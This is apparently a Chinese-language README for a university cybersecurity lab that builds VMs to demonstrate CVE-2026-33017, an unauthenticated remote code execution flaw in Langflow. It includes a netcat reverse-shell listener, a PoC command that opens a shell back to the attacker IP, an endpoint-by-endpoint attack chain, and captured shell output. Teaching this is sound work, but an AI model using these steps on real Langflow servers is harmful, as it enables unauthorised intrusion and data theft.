
教育实验室,演示如何通过 CVE-2026-33017 在 Langflow 中实现未认证的远程代码执行(RCE),包含自动化虚拟机配置及用于反弹 Shell 的 PoC 漏洞利用。
HoGent CyberSecurity II — 网络渗透测试与利用(NPE)
学年 2025–2026
本仓库包含一个完整的实验环境及 CVE-2026-33017 的利用演示,这是 Langflow ≤ 1.8.1 中的一个严重未认证远程代码执行(RCE)漏洞。
攻击者无需任何认证即可通过 /api/v1/build_public_tmp/{flow_id}/flow 端点在服务器上执行任意 Python 代码,原因是用户输入被直接传递给 Python 的 exec(),且没有沙箱隔离或验证。
⚠️ 免责声明: 本仓库仅用于受控实验环境中的教育目的。请仅在获得明确授权的系统上使用。
┌─────────────────────────────────────────────────────┐
│ 主机 │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-受害者 │ │ Kali-攻击者 │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC 利用工具 │ │
│ │ 端口 7860 │ │ + 互联网 (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ 仅主机网络: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # 本文件
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # 完整部署与攻击指南
└── scripts/
├── setup_vms.sh # 阶段 1: 创建 VirtualBox 虚拟机(主机)
├── setup_victim.sh # 阶段 2: 安装 Langflow 1.8.1(Ubuntu 虚拟机)
└── setup_attacker.sh # 阶段 3: 安装 PoC 工具(Kali 虚拟机)
VBoxManage 位于 PATH 中Ubuntu_22.04-VB-64bit.vdi → 重命名为 ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → 重命名为 kali-linux.vdisetup_vms.sh 位于同一目录bash scripts/setup_vms.sh
# 登录凭据: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# 登录凭据: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
终端 1 — 反向 Shell 监听器:
nc -lvnp 4444
终端 2 — 利用:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
PoC 将由
setup_attacker.sh自动安装。
使用的 PoC: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| 步骤 | 端点 | 描述 |
|---|---|---|
| 1 | GET /api/v1/auto_login | 获取超级用户 JWT 令牌(AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | 通过 API 创建新的公共流程 |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | 注入包含恶意 Python 代码的 CustomComponent |
| 4 | exec() 位于 validate.py:397 | 代码在无沙箱隔离的情况下执行 — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data 参数LANGFLOW_AUTO_LOGINHoGent — 应用信息学 — CyberSecurity II — 2025–2026